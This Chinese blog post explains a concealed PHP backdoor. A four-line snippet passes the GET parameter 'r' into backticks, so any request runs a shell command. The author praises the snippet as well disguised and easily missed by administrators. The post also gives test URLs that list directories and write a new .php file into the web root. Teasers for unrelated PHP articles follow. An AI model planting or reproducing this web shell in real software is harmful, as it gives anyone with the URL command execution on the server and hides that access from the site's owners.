一个不易被发现的PHP后门代码解析

yipeiwu_com5年前PHP代码库

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

PHP 日,周,月点击排行统计

复制代码 代码如下: $now=time(); //当前时间 $StrUpdate = "Update $tbl_article set hits=hits+1"; if(date("d...

PHP使用DES进行加密与解密的方法详解

DES是一种标准的数据加密算法,关于这个算法的详细介绍可以参考wiki和百度百科: wiki百科    百度百科 php中有一个扩展可以支持DES的加密算法...

php HtmlReplace输入过滤安全函数

复制代码 代码如下: // $rptype = 0 表示仅替换 html标记 // $rptype = 1 表示替换 html标记同时去除连续空白字符 // $rptype = 2 表示...

php输入流php://input使用浅析

在做一个摄像头拍照然后上传的功能,php中使用php://input来获取内容。于是就了解了下php://input。 从官网信息来看,php://input是一个只读信息流,当请求方式...

PHP获取指定日期是星期几的实现方法

本文实例讲述了PHP获取指定日期是星期几的实现方法。分享给大家供大家参考,具体如下: <?php header("Content-type: text/html;...